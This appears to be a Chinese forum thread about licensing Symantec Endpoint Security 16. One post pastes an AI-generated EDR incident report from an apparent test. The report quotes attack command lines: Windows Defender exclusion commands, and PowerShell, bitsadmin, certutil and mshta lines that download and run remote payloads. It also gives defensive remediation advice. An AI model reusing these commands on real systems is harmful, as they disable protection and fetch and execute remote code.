入正 SEP16 Symantec Endpoint Security Enterprise

显示全部楼层 · 发表于 2026-7-14 03:05:04

本帖最后由 761773275 于 2026-7-14 03:07 编辑

入正了1年5用戶，2000人民幣左右，界面清爽，現在有右鍵掃描了

显示全部楼层 · 发表于 2026-7-19 17:11:08

本帖最后由 761773275 于 2026-7-19 17:13 编辑

神龟Turmi 发表于 2026-7-14 16:41
都入正了不直接上SESC（Complete）吗
花了那么多钱少个EDR不觉得少点什么吗

这是EDR版本的东西吗，我这里也有

SymantecAI 生成的摘要
事件摘要
本事件表明攻击者实施了一场多阶段攻击，涉及防御规避、入侵工具传输以及恶意脚本和二进制文件的执行。攻击者利用 PowerShell、cmd.exe、bitsadmin.exe、certutil.exe 和 mshta.exe 等合法 Windows 系统工具，禁用安全功能，从外部源（主要为 GitHub 和 winrar.haomedia.cn）下载载荷并执行。现场出现的 SONAR.Dropper!gen4、Heur.AdvML.B!100、Trojan.Gen.MBT 和 ISB.Downloader!gen210 等威胁特征表明，这是一次旨在建立持久化、窃取数据或进一步控制系统的高级攻击尝试，最终迹象指向 OS Credential Dumping（操作系统凭据转储）。
攻击链分析
初始执行 / Dropper 活动 (10:13:24Z): 初始进程 explorer.exe 与 SONAR.Dropper!gen4 检测相关联，表明存在初始入侵或执行了释放器（dropper）。
防御规避 - 禁用安全功能 (10:19:15Z): 使用 cmd.exe 和 powershell.exe 向 Windows Defender 添加排除项，试图削弱系统防御。
进程命令行：cmd.exe /C "powershell Add-MpPreference -ExclusionPath C:\,CSIDL_DRIVE_CDROM,CSIDL_DRIVE"
进程命令行：powershell Add-MpPreference -ExclusionPath CSIDL_SYSTEM_DRIVE\,d:\,f:
恶意文件被投放/检测到 (10:20:51Z): 检测到名为 view document.pdf 1.exe 的文件，很可能是一个伪装成文档的可执行文件。
入侵工具传输 - PowerShell 下载 (11:13:20Z): powershell.exe 从 hxxps://winrar.haomedia.cn/versions.xml 下载 versions.xml 至临时目录。
进程命令行：powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try { $WebClient = New-Object System.Net.WebClient; $WebClient.DownloadFile('hxxps://winrar.haomedia.cn/versions.xml', 'CSIDL_PROFILE\appdata\local\temp\wrtmp\versions.xml'); Write-Host 'SUCCESS' -NoNewline; exit 0 } catch { if ($_.Exception -is [System.Net.WebException]) { Write-Host $_.Exception.Response.StatusCode.value__ -NoNewline; exit 1 } else { Write-Host $_.Exception.Message -NoNewline; exit 2 } }"
可疑进程活动 (11:18:15Z): startmenuexperiencehost.exe 表现出可疑行为，可能表示存在伪装/欺骗。
可疑 MSI 安装包 (13:58:19Z): 在可疑文件夹（10virus）的桌面上检测到 lightxtreme.msi。
防御规避 - 反混淆 (17:23:17Z): 使用 certutil.exe 将 Base64 编码的文件（fi.b64）解码为名为 AllTheThings.dll 的 DLL 文件。
进程命令行：certutil -f -decode fi.b64 AllTheThings.dll
入侵工具传输 - BITS 任务下载 (17:23:21Z, 17:23:22Z, 17:33:59Z): 使用 cmd.exe 和 bitsadmin.exe 从 GitHub 下载 CradleTest.txt（一个 PowerShell 脚本）。
进程命令行：cmd /c powershell -c "Start-BitsTransfer -Priority foreground -Source hxxps://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt -Destination Default_File_Path.ps1"
进程命令行：bitsadmin.exe /transfer "JobName" hxxps://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt "CSIDL_SYSTEM\default_file_path.ps1"
检测到恶意文件 (17:23:27Z): allthethings.dll（certutil 解码结果）被检测为 Trojan.Gen.MBT。
检测到恶意脚本 (17:23:28Z): default_file_path.ps1（通过 BITS 下载的脚本）被检测为 ISB.Downloader!gen210，并与 OS Credential Dumping 相关。
执行 - Mshta 远程脚本执行 (17:23:50Z, 17:23:51Z, 17:34:12Z): 使用 mshta.exe 执行来自 GitHub 的远程 JavaScript。
进程命令行：mshta.exe javascript:a=GetObject("script:hxxps://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Mshta_calc.sct").Exec();close();
执行 - PowerShell 下载并执行 (17:23:51Z, 17:23:53.560Z): cmd.exe 启动 PowerShell 下载 CradleTest.txt 并在内存中立即执行其内容。
进程命令行：cmd /c powershell -c "(New-Object Net.WebClient).DownloadFile('hxxps://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))"
凭据访问迹象 (17:24:05Z): 记录到与 OS Credential Dumping 相关的命令行检测。
已阻止的行为 (17:23:53.560Z, 17:34:12.950Z): EDR 系统成功阻止并修复了尝试执行的 PowerShell 下载执行命令及 mshta 远程脚本执行。
关键观察
大量滥用 LOLBin：攻击者在攻击的各个阶段大量使用合法的 Windows 二进制文件（cmd.exe、powershell.exe、bitsadmin.exe、certutil.exe、mshta.exe），增加了检测难度。
防御规避：多次尝试禁用或绕过安全工具（Windows Defender 排除项），并利用可信进程执行恶意活动（伪装、使用 certutil 解码、BITS 下载、mshta 执行）。
入侵工具传输：从外部可能不受信任的来源（GitHub、winrar.haomedia.cn）下载了载荷和脚本。
多阶段执行：攻击涉及下载脚本并在之后执行，有时直接在内存中执行，表明手法较为高级。
凭据访问：明确的 OS Credential Dumping 迹象表明攻击者的目标是收集凭据。
修复成功： EDR 系统成功阻止并修复了部分后期执行尝试，表明实现了部分遏制。
用户意图
基于观察到的活动，用户（或攻击者）试图：
规避检测：通过禁用安全功能和使用 LOLBin 实现。
建立据点/持久化：通过投放恶意可执行文件（view document.pdf 1.exe、lightxtreme.msi、allthethings.dll）并执行脚本实现。
下载并执行恶意载荷：使用 PowerShell、BITS 和 mshta 从外部源获取并运行脚本。
获取凭据访问权限：通过 OS Credential Dumping 威胁迹象表明，很可能为后续横向移动或权限提升做准备。
维持控制权：多种技术的组合表明攻击者试图建立并维持对系统的未授权访问。
修复步骤
即时操作（阻止行为）：
阻止预测行为：本事件包含预测行为，可预测攻击者在攻击链中下一步将采取的行动。分析人员应立即采取措施，使用事件操作中的“阻止行为”工作流，在 Symantec Adaptive Policy 中阻止预测行为。这包括阻止以下行为：
PowerShell 或其子进程启动 Windows Scripting Host（CScript）
PowerShell 或其子进程启动 Microsoft HTML Host
Certutil 创建 PE 可执行文件
PowerShell 创建非 PE 可执行文件（脚本或批处理作业）
PowerShell 或其子进程使用编码命令启动
PowerShell 执行 Base64 编码命令
Bitsadmin 或其子进程启动
CMSTP 或其子进程启动
PowerShell 创建 PE 可执行文件
PowerShell 通过 HTTP(S) 访问网络
后续操作：
隔离受影响主机：立即将 DESKTOP-URI9IKQ 断开网络连接，以防止进一步入侵或横向移动。
全盘扫描：对受影响主机执行全面的防病毒/反恶意软件扫描，以识别并删除所有恶意文件和残留物。
分析被投放文件：在沙箱环境中提取并分析 view document.pdf 1.exe、lightxtreme.msi、allthethings.dll 和 default_file_path.ps1，以了解其完整功能和入侵指标（IOCs）。
审查 PowerShell 和 Mshta 脚本：分析 GitHub 仓库中 CradleTest.txt 和 Mshta_calc.sct 的内容，了解其具体功能。
检查持久化机制：调查常见的持久化机制（例如，注册表运行项、启动文件夹、计划任务、WMI 事件订阅），查找与检测到的威胁相关的任何条目。
恢复系统：如有可能，从已知的良好备份中恢复受影响系统；否则，应考虑完全重装镜像。
审查日志：检查系统日志（事件查看器）、安全日志和网络日志，查找其他可疑活动，特别关注初始 explorer.exe 活动和凭据转储尝试时间点附近。
网络指标封堵：在网络边界处封堵对已识别恶意 URL（hxxps://winrar.haomedia.cn/versions.xml、hxxps://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt、hxxps://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Mshta_calc.sct）的访问。
端点安全配置审查：验证端点安全解决方案（如 Windows Defender）是否配置正确、保持最新，且未添加任何未授权的排除项。实施更严格的应用程序控制策略，限制如非业务必需，对 bitsadmin.exe、certutil.exe 和 mshta.exe 等 LOLBin 的执行。
凭据重置：强制重置受影响机器上登录过的所有用户账户的密码，尤其是在确认存在凭据转储的情况下。

复制代码

显示全部楼层 · 发表于 2026-7-14 05:03:18

哇塞！sep16出来了！

显示全部楼层 · 发表于 2026-7-14 08:09:47

什么情况？16出来了

显示全部楼层 · 发表于 2026-7-14 10:46:26

[:28:]霸气

显示全部楼层 · 发表于 2026-7-14 11:02:57

哪里购买？有1年1用戶吗？

显示全部楼层 · 发表于 2026-7-14 11:42:24

看着不错

显示全部楼层 · 发表于 2026-7-14 12:22:36

界面很清爽啊防护和坛子里非受管的14.4增加了什么呢

显示全部楼层 · 发表于 2026-7-14 12:59:29

这么清爽

显示全部楼层 · 发表于 2026-7-14 13:30:11

是不是要公司才能买

显示全部楼层 · 发表于 2026-7-14 14:20:09

界面确实简洁但其实网页端的策略设置还是蛮复杂的羡慕正版

[讨论] 入正 SEP16 Symantec Endpoint Security Enterprise

本帖子中包含更多资源

评分

本帖子中包含更多资源